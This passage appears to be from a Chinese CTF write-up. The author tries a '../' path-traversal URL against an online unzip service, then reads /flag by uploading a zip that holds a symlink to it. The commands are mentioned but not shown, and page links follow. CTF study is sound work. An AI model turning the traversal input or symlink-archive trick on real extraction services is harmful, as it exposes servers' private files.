仔细观察可以看到,path作为参数会被拼接到npath变量中,然后当npath不存在时,返回404;当npath不是目录时,会使用open函数打开,并返回给请求者。题目中提到了flag位于根目录,而path我们又可以控制,那么我们只要能够通过一种方式,将npath变成/flag是不是就可以了呢?心里想,直接用相对路径../实现路径穿越不就妥了?这么简单的吗? 0x04 峰回路转 说干就干,我把path设置成../../../../flag,直接在浏览器请求http://example.com/media/../../../../flag 结果发现不对,浏览器直接把我这些../全去掉了?url变成了http://example.com/media/flag,whatfuck? 第一反应是浏览器的问题,那就换个浏览器,结果发现也不行,然后想了想,那就用burp suite吧,结果还是不行。 最后,我在自己电脑上运行这个代码,开始各种调试,最后发现把斜杠换成两个反斜杠就可以了,能够实现路径穿越,读取上一层的文件内容,可是换成题目中就是不行。我仔细想了想应该是因为我本地是windows,而服务器是Linux,所以才不行的。眼看着时间不早了该睡觉了,还是没搞出来,于是喝了一杯茶,想了想,最后灵机一动,还是没想出来怎么搞。算了,睡觉吧。 到了第二天早上,我觉得这个必须得搞定。于是,我想到了Linux中的软链接!突然一下子就明白该怎么搞了!于是,打开我尘封已久的kali虚拟机,然后慢慢悠悠的敲下了如下命令: 成功创建了一个指向/flag的软链接,但是这个软链接怎么利用呢?这个网站既然是用来在线解压的,那我就把软链接打成一个压缩包传上去,它直接就会被解压到当前目录。然后我直接点击该文件,直接就下载下来一个车文件,打开即可看到flag内容为: flag{NeV3r_trUSt_Any_C0mpresSeD_file} 最后终于搞定了,这一刻还是很开心的。作为一个业余ctf菜鸡选手,实在是不容易。还是要多做题,多开阔眼界,学习各种骚操作!
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页